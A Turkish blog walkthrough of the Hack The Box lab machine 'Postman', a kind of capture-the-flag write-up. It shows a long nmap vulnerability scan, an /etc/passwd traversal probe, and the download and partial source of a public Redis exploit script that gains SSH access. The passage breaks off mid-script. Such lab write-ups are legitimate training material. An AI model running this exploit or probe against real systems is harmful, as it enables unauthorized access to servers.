İçeriğe geç

Postman

Tarih: 13/08/2021 | Yazar: kuday
Makine Adı Seviye OS Logo
Postman - HTB Kolay Linux

Walkthrough

nmap taraması ile başlayalım.


PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:7.6p1: 
|       EDB-ID:21018    10.0    https://vulners.com/exploitdb/EDB-ID:21018  *EXPLOIT*
|       CVE-2001-0554   10.0    https://vulners.com/cve/CVE-2001-0554
|       MSF:ILITIES/UBUNTU-CVE-2019-6111/   5.8 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2019-6111/    *EXPLOIT*
|       MSF:ILITIES/SUSE-CVE-2019-6111/ 5.8 https://vulners.com/metasploit/MSF:ILITIES/SUSE-CVE-2019-6111/  *EXPLOIT*
|       MSF:ILITIES/SUSE-CVE-2019-25017/    5.8 https://vulners.com/metasploit/MSF:ILITIES/SUSE-CVE-2019-25017/ *EXPLOIT*
|       MSF:ILITIES/REDHAT_LINUX-CVE-2019-6111/ 5.8 https://vulners.com/metasploit/MSF:ILITIES/REDHAT_LINUX-CVE-2019-6111/  *EXPLOIT*
|       MSF:ILITIES/REDHAT-OPENSHIFT-CVE-2019-6111/ 5.8 https://vulners.com/metasploit/MSF:ILITIES/REDHAT-OPENSHIFT-CVE-2019-6111/  *EXPLOIT*
|       MSF:ILITIES/ORACLE-SOLARIS-CVE-2019-6111/   5.8 https://vulners.com/metasploit/MSF:ILITIES/ORACLE-SOLARIS-CVE-2019-6111/    *EXPLOIT*
|       MSF:ILITIES/OPENBSD-OPENSSH-CVE-2019-6111/  5.8 https://vulners.com/metasploit/MSF:ILITIES/OPENBSD-OPENSSH-CVE-2019-6111/   *EXPLOIT*
|       MSF:ILITIES/IBM-AIX-CVE-2019-6111/  5.8 https://vulners.com/metasploit/MSF:ILITIES/IBM-AIX-CVE-2019-6111/   *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP8-CVE-2019-6111/   5.8 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP8-CVE-2019-6111/    *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP5-CVE-2019-6111/   5.8 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP5-CVE-2019-6111/    *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2019-6111/   5.8 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2019-6111/    *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2019-6111/   5.8 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2019-6111/    *EXPLOIT*
|       MSF:ILITIES/GENTOO-LINUX-CVE-2019-6111/ 5.8 https://vulners.com/metasploit/MSF:ILITIES/GENTOO-LINUX-CVE-2019-6111/  *EXPLOIT*
|       MSF:ILITIES/F5-BIG-IP-CVE-2019-6111/    5.8 https://vulners.com/metasploit/MSF:ILITIES/F5-BIG-IP-CVE-2019-6111/ *EXPLOIT*
|       MSF:ILITIES/DEBIAN-CVE-2019-6111/   5.8 https://vulners.com/metasploit/MSF:ILITIES/DEBIAN-CVE-2019-6111/    *EXPLOIT*
|       MSF:ILITIES/CENTOS_LINUX-CVE-2019-6111/ 5.8 https://vulners.com/metasploit/MSF:ILITIES/CENTOS_LINUX-CVE-2019-6111/  *EXPLOIT*
|       MSF:ILITIES/AMAZON_LINUX-CVE-2019-6111/ 5.8 https://vulners.com/metasploit/MSF:ILITIES/AMAZON_LINUX-CVE-2019-6111/  *EXPLOIT*
|       MSF:ILITIES/AMAZON-LINUX-AMI-2-CVE-2019-6111/   5.8 https://vulners.com/metasploit/MSF:ILITIES/AMAZON-LINUX-AMI-2-CVE-2019-6111/    *EXPLOIT*
|       MSF:ILITIES/ALPINE-LINUX-CVE-2019-6111/ 5.8 https://vulners.com/metasploit/MSF:ILITIES/ALPINE-LINUX-CVE-2019-6111/  *EXPLOIT*
|       EXPLOITPACK:98FE96309F9524B8C84C508837551A19    5.8 https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19    *EXPLOIT*
|       EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97    5.8 https://vulners.com/exploitpack/EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97    *EXPLOIT*
|       EDB-ID:46516    5.8 https://vulners.com/exploitdb/EDB-ID:46516  *EXPLOIT*
|       CVE-2019-6111   5.8 https://vulners.com/cve/CVE-2019-6111
|       SSH_ENUM    5.0 https://vulners.com/canvas/SSH_ENUM *EXPLOIT*
|       PACKETSTORM:150621  5.0 https://vulners.com/packetstorm/PACKETSTORM:150621  *EXPLOIT*
|       MSF:AUXILIARY/SCANNER/SSH/SSH_ENUMUSERS 5.0 https://vulners.com/metasploit/MSF:AUXILIARY/SCANNER/SSH/SSH_ENUMUSERS  *EXPLOIT*
|       EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0    5.0 https://vulners.com/exploitpack/EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0    *EXPLOIT*
|       EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283    5.0 https://vulners.com/exploitpack/EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283    *EXPLOIT*
|       EDB-ID:45939    5.0 https://vulners.com/exploitdb/EDB-ID:45939  *EXPLOIT*
|       CVE-2018-15919  5.0 https://vulners.com/cve/CVE-2018-15919
|       CVE-2018-15473  5.0 https://vulners.com/cve/CVE-2018-15473
|       1337DAY-ID-31730    5.0 https://vulners.com/zdt/1337DAY-ID-31730    *EXPLOIT*
|       EDB-ID:45233    4.6 https://vulners.com/exploitdb/EDB-ID:45233  *EXPLOIT*
|       MSF:ILITIES/OPENBSD-OPENSSH-CVE-2020-14145/ 4.3 https://vulners.com/metasploit/MSF:ILITIES/OPENBSD-OPENSSH-CVE-2020-14145/  *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP9-CVE-2020-14145/  4.3 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP9-CVE-2020-14145/   *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP8-CVE-2020-14145/  4.3 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP8-CVE-2020-14145/   *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP5-CVE-2020-14145/  4.3 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP5-CVE-2020-14145/   *EXPLOIT*
|       MSF:ILITIES/F5-BIG-IP-CVE-2020-14145/   4.3 https://vulners.com/metasploit/MSF:ILITIES/F5-BIG-IP-CVE-2020-14145/    *EXPLOIT*
|       CVE-2020-14145  4.3 https://vulners.com/cve/CVE-2020-14145
|       CVE-2007-2768   4.3 https://vulners.com/cve/CVE-2007-2768
|       CVE-2019-6110   4.0 https://vulners.com/cve/CVE-2019-6110
|       CVE-2019-6109   4.0 https://vulners.com/cve/CVE-2019-6109
|       CVE-2018-20685  2.6 https://vulners.com/cve/CVE-2018-20685
|       PACKETSTORM:151227  0.0 https://vulners.com/packetstorm/PACKETSTORM:151227  *EXPLOIT*
|       EDB-ID:46193    0.0 https://vulners.com/exploitdb/EDB-ID:46193  *EXPLOIT*
|       1337DAY-ID-32009    0.0 https://vulners.com/zdt/1337DAY-ID-32009    *EXPLOIT*
|_      1337DAY-ID-30937    0.0 https://vulners.com/zdt/1337DAY-ID-30937    *EXPLOIT*
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_  /upload/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.1.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-sql-injection: 
|   Possible sqli for queries:
|     http://10.10.10.160:80/js/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://10.10.10.160:80/js/?C=N%3bO%3dD%27%20OR%20sqlspider
|     http://10.10.10.160:80/js/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://10.10.10.160:80/js/?C=M%3bO%3dA%27%20OR%20sqlspider
|     http://10.10.10.160:80/js/?C=N%3bO%3dA%27%20OR%20sqlspider
|     http://10.10.10.160:80/js/?C=M%3bO%3dA%27%20OR%20sqlspider
|     http://10.10.10.160:80/js/?C=S%3bO%3dA%27%20OR%20sqlspider
|_    http://10.10.10.160:80/js/?C=D%3bO%3dD%27%20OR%20sqlspider
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners: 
|   cpe:/a:apache:http_server:2.4.29: 
|       CVE-2021-26691  7.5 https://vulners.com/cve/CVE-2021-26691
|       MSF:ILITIES/REDHAT_LINUX-CVE-2019-0211/ 7.2 https://vulners.com/metasploit/MSF:ILITIES/REDHAT_LINUX-CVE-2019-0211/  *EXPLOIT*
|       MSF:ILITIES/IBM-HTTP_SERVER-CVE-2019-0211/  7.2 https://vulners.com/metasploit/MSF:ILITIES/IBM-HTTP_SERVER-CVE-2019-0211/   *EXPLOIT*
|       EXPLOITPACK:44C5118F831D55FAF4259C41D8BDA0AB    7.2 https://vulners.com/exploitpack/EXPLOITPACK:44C5118F831D55FAF4259C41D8BDA0AB    *EXPLOIT*
|       CVE-2019-0211   7.2 https://vulners.com/cve/CVE-2019-0211
|       1337DAY-ID-32502    7.2 https://vulners.com/zdt/1337DAY-ID-32502    *EXPLOIT*
|       MSF:ILITIES/UBUNTU-CVE-2018-1312/   6.8 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2018-1312/    *EXPLOIT*
|       MSF:ILITIES/UBUNTU-CVE-2017-15715/  6.8 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2017-15715/   *EXPLOIT*
|       MSF:ILITIES/SUSE-CVE-2017-15715/    6.8 https://vulners.com/metasploit/MSF:ILITIES/SUSE-CVE-2017-15715/ *EXPLOIT*
|       MSF:ILITIES/REDHAT_LINUX-CVE-2017-15715/    6.8 https://vulners.com/metasploit/MSF:ILITIES/REDHAT_LINUX-CVE-2017-15715/ *EXPLOIT*
|       MSF:ILITIES/ORACLE_LINUX-CVE-2017-15715/    6.8 https://vulners.com/metasploit/MSF:ILITIES/ORACLE_LINUX-CVE-2017-15715/ *EXPLOIT*
|       MSF:ILITIES/ORACLE-SOLARIS-CVE-2017-15715/  6.8 https://vulners.com/metasploit/MSF:ILITIES/ORACLE-SOLARIS-CVE-2017-15715/   *EXPLOIT*
|       MSF:ILITIES/IBM-HTTP_SERVER-CVE-2017-15715/ 6.8 https://vulners.com/metasploit/MSF:ILITIES/IBM-HTTP_SERVER-CVE-2017-15715/  *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2018-1312/   6.8 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2018-1312/    *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2017-15715/  6.8 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2017-15715/   *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2018-1312/   6.8 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2018-1312/    *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2017-15715/  6.8 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2017-15715/   *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP1-CVE-2018-1312/   6.8 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP1-CVE-2018-1312/    *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP1-CVE-2017-15715/  6.8 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP1-CVE-2017-15715/   *EXPLOIT*
|       MSF:ILITIES/FREEBSD-CVE-2017-15715/ 6.8 https://vulners.com/metasploit/MSF:ILITIES/FREEBSD-CVE-2017-15715/  *EXPLOIT*
|       MSF:ILITIES/DEBIAN-CVE-2017-15715/  6.8 https://vulners.com/metasploit/MSF:ILITIES/DEBIAN-CVE-2017-15715/   *EXPLOIT*
|       MSF:ILITIES/CENTOS_LINUX-CVE-2017-15715/    6.8 https://vulners.com/metasploit/MSF:ILITIES/CENTOS_LINUX-CVE-2017-15715/ *EXPLOIT*
|       MSF:ILITIES/APACHE-HTTPD-CVE-2017-15715/    6.8 https://vulners.com/metasploit/MSF:ILITIES/APACHE-HTTPD-CVE-2017-15715/ *EXPLOIT*
|       MSF:ILITIES/AMAZON_LINUX-CVE-2017-15715/    6.8 https://vulners.com/metasploit/MSF:ILITIES/AMAZON_LINUX-CVE-2017-15715/ *EXPLOIT*
|       MSF:ILITIES/ALPINE-LINUX-CVE-2018-1312/ 6.8 https://vulners.com/metasploit/MSF:ILITIES/ALPINE-LINUX-CVE-2018-1312/  *EXPLOIT*
|       MSF:ILITIES/ALPINE-LINUX-CVE-2017-15715/    6.8 https://vulners.com/metasploit/MSF:ILITIES/ALPINE-LINUX-CVE-2017-15715/ *EXPLOIT*
|       CVE-2020-35452  6.8 https://vulners.com/cve/CVE-2020-35452
|       CVE-2018-1312   6.8 https://vulners.com/cve/CVE-2018-1312
|       CVE-2017-15715  6.8 https://vulners.com/cve/CVE-2017-15715
|       CVE-2019-10082  6.4 https://vulners.com/cve/CVE-2019-10082
|       MSF:ILITIES/REDHAT_LINUX-CVE-2019-0217/ 6.0 https://vulners.com/metasploit/MSF:ILITIES/REDHAT_LINUX-CVE-2019-0217/  *EXPLOIT*
|       MSF:ILITIES/IBM-HTTP_SERVER-CVE-2019-0217/  6.0 https://vulners.com/metasploit/MSF:ILITIES/IBM-HTTP_SERVER-CVE-2019-0217/   *EXPLOIT*
|       CVE-2019-0217   6.0 https://vulners.com/cve/CVE-2019-0217
|       EDB-ID:47689    5.8 https://vulners.com/exploitdb/EDB-ID:47689  *EXPLOIT*
|       CVE-2020-1927   5.8 https://vulners.com/cve/CVE-2020-1927
|       CVE-2019-10098  5.8 https://vulners.com/cve/CVE-2019-10098
|       1337DAY-ID-33577    5.8 https://vulners.com/zdt/1337DAY-ID-33577    *EXPLOIT*
|       MSF:ILITIES/UBUNTU-CVE-2018-1333/   5.0 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2018-1333/    *EXPLOIT*
|       MSF:ILITIES/UBUNTU-CVE-2018-1303/   5.0 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2018-1303/    *EXPLOIT*
|       MSF:ILITIES/UBUNTU-CVE-2017-15710/  5.0 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2017-15710/   *EXPLOIT*
|       MSF:ILITIES/REDHAT_LINUX-CVE-2020-9490/ 5.0 https://vulners.com/metasploit/MSF:ILITIES/REDHAT_LINUX-CVE-2020-9490/  *EXPLOIT*
|       MSF:ILITIES/ORACLE_LINUX-CVE-2020-9490/ 5.0 https://vulners.com/metasploit/MSF:ILITIES/ORACLE_LINUX-CVE-2020-9490/  *EXPLOIT*
|       MSF:ILITIES/ORACLE-SOLARIS-CVE-2020-1934/   5.0 https://vulners.com/metasploit/MSF:ILITIES/ORACLE-SOLARIS-CVE-2020-1934/    *EXPLOIT*
|       MSF:ILITIES/ORACLE-SOLARIS-CVE-2017-15710/  5.0 https://vulners.com/metasploit/MSF:ILITIES/ORACLE-SOLARIS-CVE-2017-15710/   *EXPLOIT*
|       MSF:ILITIES/IBM-HTTP_SERVER-CVE-2017-15710/ 5.0 https://vulners.com/metasploit/MSF:ILITIES/IBM-HTTP_SERVER-CVE-2017-15710/  *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP9-CVE-2020-9490/   5.0 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP9-CVE-2020-9490/    *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP8-CVE-2020-9490/   5.0 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP8-CVE-2020-9490/    *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2017-15710/  5.0 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2017-15710/   *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2017-15710/  5.0 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2017-15710/   *EXPLOIT*
|       MSF:ILITIES/FREEBSD-CVE-2020-9490/  5.0 https://vulners.com/metasploit/MSF:ILITIES/FREEBSD-CVE-2020-9490/   *EXPLOIT*
|       MSF:ILITIES/CENTOS_LINUX-CVE-2020-9490/ 5.0 https://vulners.com/metasploit/MSF:ILITIES/CENTOS_LINUX-CVE-2020-9490/  *EXPLOIT*
|       MSF:ILITIES/CENTOS_LINUX-CVE-2017-15710/    5.0 https://vulners.com/metasploit/MSF:ILITIES/CENTOS_LINUX-CVE-2017-15710/ *EXPLOIT*
|       MSF:ILITIES/APACHE-HTTPD-CVE-2020-9490/ 5.0 https://vulners.com/metasploit/MSF:ILITIES/APACHE-HTTPD-CVE-2020-9490/  *EXPLOIT*
|       MSF:ILITIES/AMAZON-LINUX-AMI-2-CVE-2020-9490/   5.0 https://vulners.com/metasploit/MSF:ILITIES/AMAZON-LINUX-AMI-2-CVE-2020-9490/    *EXPLOIT*
|       CVE-2021-26690  5.0 https://vulners.com/cve/CVE-2021-26690
|       CVE-2020-9490   5.0 https://vulners.com/cve/CVE-2020-9490
|       CVE-2020-1934   5.0 https://vulners.com/cve/CVE-2020-1934
|       CVE-2019-17567  5.0 https://vulners.com/cve/CVE-2019-17567
|       CVE-2019-10081  5.0 https://vulners.com/cve/CVE-2019-10081
|       CVE-2019-0220   5.0 https://vulners.com/cve/CVE-2019-0220
|       CVE-2019-0196   5.0 https://vulners.com/cve/CVE-2019-0196
|       CVE-2018-17199  5.0 https://vulners.com/cve/CVE-2018-17199
|       CVE-2018-17189  5.0 https://vulners.com/cve/CVE-2018-17189
|       CVE-2018-1333   5.0 https://vulners.com/cve/CVE-2018-1333
|       CVE-2018-1303   5.0 https://vulners.com/cve/CVE-2018-1303
|       CVE-2017-15710  5.0 https://vulners.com/cve/CVE-2017-15710
|       MSF:ILITIES/ORACLE-SOLARIS-CVE-2019-0197/   4.9 https://vulners.com/metasploit/MSF:ILITIES/ORACLE-SOLARIS-CVE-2019-0197/    *EXPLOIT*
|       CVE-2019-0197   4.9 https://vulners.com/cve/CVE-2019-0197
|       MSF:ILITIES/UBUNTU-CVE-2018-1302/   4.3 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2018-1302/    *EXPLOIT*
|       MSF:ILITIES/UBUNTU-CVE-2018-1301/   4.3 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2018-1301/    *EXPLOIT*
|       MSF:ILITIES/REDHAT_LINUX-CVE-2020-11993/    4.3 https://vulners.com/metasploit/MSF:ILITIES/REDHAT_LINUX-CVE-2020-11993/ *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP8-CVE-2020-11993/  4.3 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP8-CVE-2020-11993/   *EXPLOIT*
|       MSF:ILITIES/DEBIAN-CVE-2019-10092/  4.3 https://vulners.com/metasploit/MSF:ILITIES/DEBIAN-CVE-2019-10092/   *EXPLOIT*
|       MSF:ILITIES/CENTOS_LINUX-CVE-2020-11993/    4.3 https://vulners.com/metasploit/MSF:ILITIES/CENTOS_LINUX-CVE-2020-11993/ *EXPLOIT*
|       MSF:ILITIES/APACHE-HTTPD-CVE-2020-11993/    4.3 https://vulners.com/metasploit/MSF:ILITIES/APACHE-HTTPD-CVE-2020-11993/ *EXPLOIT*
|       MSF:ILITIES/APACHE-HTTPD-CVE-2019-10092/    4.3 https://vulners.com/metasploit/MSF:ILITIES/APACHE-HTTPD-CVE-2019-10092/ *EXPLOIT*
|       MSF:ILITIES/AMAZON-LINUX-AMI-2-CVE-2020-11993/  4.3 https://vulners.com/metasploit/MSF:ILITIES/AMAZON-LINUX-AMI-2-CVE-2020-11993/   *EXPLOIT*
|       EDB-ID:47688    4.3 https://vulners.com/exploitdb/EDB-ID:47688  *EXPLOIT*
|       CVE-2020-11993  4.3 https://vulners.com/cve/CVE-2020-11993
|       CVE-2019-10092  4.3 https://vulners.com/cve/CVE-2019-10092
|       CVE-2018-1302   4.3 https://vulners.com/cve/CVE-2018-1302
|       CVE-2018-1301   4.3 https://vulners.com/cve/CVE-2018-1301
|       CVE-2018-11763  4.3 https://vulners.com/cve/CVE-2018-11763
|       1337DAY-ID-33575    4.3 https://vulners.com/zdt/1337DAY-ID-33575    *EXPLOIT*
|       MSF:ILITIES/UBUNTU-CVE-2018-1283/   3.5 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2018-1283/    *EXPLOIT*
|       MSF:ILITIES/REDHAT_LINUX-CVE-2018-1283/ 3.5 https://vulners.com/metasploit/MSF:ILITIES/REDHAT_LINUX-CVE-2018-1283/  *EXPLOIT*
|       MSF:ILITIES/ORACLE-SOLARIS-CVE-2018-1283/   3.5 https://vulners.com/metasploit/MSF:ILITIES/ORACLE-SOLARIS-CVE-2018-1283/    *EXPLOIT*
|       MSF:ILITIES/IBM-HTTP_SERVER-CVE-2018-1283/  3.5 https://vulners.com/metasploit/MSF:ILITIES/IBM-HTTP_SERVER-CVE-2018-1283/   *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2018-1283/   3.5 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2018-1283/    *EXPLOIT*
|       MSF:ILITIES/CENTOS_LINUX-CVE-2018-1283/ 3.5 https://vulners.com/metasploit/MSF:ILITIES/CENTOS_LINUX-CVE-2018-1283/  *EXPLOIT*
|       CVE-2018-1283   3.5 https://vulners.com/cve/CVE-2018-1283
|       CVE-2020-13938  2.1 https://vulners.com/cve/CVE-2020-13938
|       PACKETSTORM:152441  0.0 https://vulners.com/packetstorm/PACKETSTORM:152441  *EXPLOIT*
|       EDB-ID:46676    0.0 https://vulners.com/exploitdb/EDB-ID:46676  *EXPLOIT*
|       1337DAY-ID-663  0.0 https://vulners.com/zdt/1337DAY-ID-663  *EXPLOIT*
|       1337DAY-ID-601  0.0 https://vulners.com/zdt/1337DAY-ID-601  *EXPLOIT*
|       1337DAY-ID-4533 0.0 https://vulners.com/zdt/1337DAY-ID-4533 *EXPLOIT*
|       1337DAY-ID-3109 0.0 https://vulners.com/zdt/1337DAY-ID-3109 *EXPLOIT*
|_      1337DAY-ID-2237 0.0 https://vulners.com/zdt/1337DAY-ID-2237 *EXPLOIT*
6379/tcp  open  redis   Redis key-value store 4.0.9
| vulners: 
|   cpe:/a:redislabs:redis:4.0.9: 
|       CVE-2018-11219  7.5 https://vulners.com/cve/CVE-2018-11219
|       CVE-2018-11218  7.5 https://vulners.com/cve/CVE-2018-11218
|       MSF:ILITIES/UBUNTU-CVE-2019-10193/  6.5 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2019-10193/   *EXPLOIT*
|       MSF:ILITIES/UBUNTU-CVE-2019-10192/  6.5 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2019-10192/   *EXPLOIT*
|       MSF:ILITIES/DEBIAN-CVE-2019-10192/  6.5 https://vulners.com/metasploit/MSF:ILITIES/DEBIAN-CVE-2019-10192/   *EXPLOIT*
|       CVE-2021-21309  6.5 https://vulners.com/cve/CVE-2021-21309
|       CVE-2019-10193  6.5 https://vulners.com/cve/CVE-2019-10193
|       CVE-2019-10192  6.5 https://vulners.com/cve/CVE-2019-10192
|       CVE-2021-32761  6.0 https://vulners.com/cve/CVE-2021-32761
|       EXPLOITPACK:9F45D8CAB6F6E66F98E43562AEAB5DE2    4.6 https://vulners.com/exploitpack/EXPLOITPACK:9F45D8CAB6F6E66F98E43562AEAB5DE2    *EXPLOIT*
|       CVE-2018-12326  4.6 https://vulners.com/cve/CVE-2018-12326
|       PACKETSTORM:148225  0.0 https://vulners.com/packetstorm/PACKETSTORM:148225  *EXPLOIT*
|       EDB-ID:44904    0.0 https://vulners.com/exploitdb/EDB-ID:44904  *EXPLOIT*
|_      1337DAY-ID-30598    0.0 https://vulners.com/zdt/1337DAY-ID-30598    *EXPLOIT*
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-litespeed-sourcecode-download: 
| Litespeed Web Server Source Code Disclosure (CVE-2010-2333)
| /index.php source code:
| <h1>Error - Document follows</h1>
|_<p>This web server is running in SSL mode. Try the URL <a href='https://Postman:10000/'>https://Postman:10000/</a> instead.<br></p>
|_http-majordomo2-dir-traversal: ERROR: Script execution failed (use -d to debug)
| http-phpmyadmin-dir-traversal: 
|   VULNERABLE:
|   phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion
|     State: UNKNOWN (unable to test)
|     IDs:  CVE:CVE-2005-3299
|       PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array.
|       
|     Disclosure date: 2005-10-nil
|     Extra information:
|       ../../../../../etc/passwd :
|   <h1>Error - Document follows</h1>
|   <p>This web server is running in SSL mode. Try the URL <a href='https://Postman:10000/'>https://Postman:10000/</a> instead.<br></p>
|   
|     References:
|       http://www.exploit-db.com/exploits/1244/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3299
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-vuln-cve2006-3392: 
|   VULNERABLE:
|   Webmin File Disclosure
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2006-3392
|       Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
|       This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences
|       to bypass the removal of "../" directory traversal sequences.
|       
|     Disclosure date: 2006-06-29
|     References:
|       http://www.exploit-db.com/exploits/1997/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3392
|_      http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

redis var bununla alakalı internetten biraz araştırma yaptım ve (https://book.hacktricks.xyz/pentesting/6379-pentesting-redis) daha sonrasında github üzerinde bulduğum bir exploit ile ssh aracılığı ile shell elde edebildim.


┌──(root💀kali)-[~/oscp/htb/Postman]
└─# wget https://raw.githubusercontent.com/iw00tr00t/Redis-Server-Exploit/master/redis.py                      130 ⨯
--2021-08-13 09:03:19--  https://raw.githubusercontent.com/iw00tr00t/Redis-Server-Exploit/master/redis.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2051 (2.0K) [text/plain]
Saving to: ‘redis.py.1’

redis.py.1                    100%[==============================================>]   2.00K  --.-KB/s    in 0s      

2021-08-13 09:03:20 (9.55 MB/s) - ‘redis.py.1’ saved [2051/2051]


┌──(root💀kali)-[~/oscp/htb/Postman]
└─# cat redis.py         
#!/usr/bin/python
#Author : Avinash Kumar Thapa aka -Acid
#Twitter : https://twitter.com/m_avinash143
#####################################################################################################################################################

import os
import os.path
from sys import argv
from termcolor import colored

script, ip_address, username = argv

PATH='/usr/bin/redis-cli'
PATH1='/usr/local/bin/redis-cli'

def ssh_connection():
    shell = "ssh -i " + '$HOME/.ssh/id_rsa ' + username+"@"+ip_address
    os.system(shell)

if os.path.isfile(PATH) or os.path.isfile(PATH1):
    try:
        print('\t*******************************************************************')
        print('\t* [+] [Exploit] Exploiting misconfigured REDIS SERVER*')
        print('\t* [+] AVINASH KUMAR THAPA aka "-Acid"                                ')
        print('\t*******************************************************************')
        print("\n")
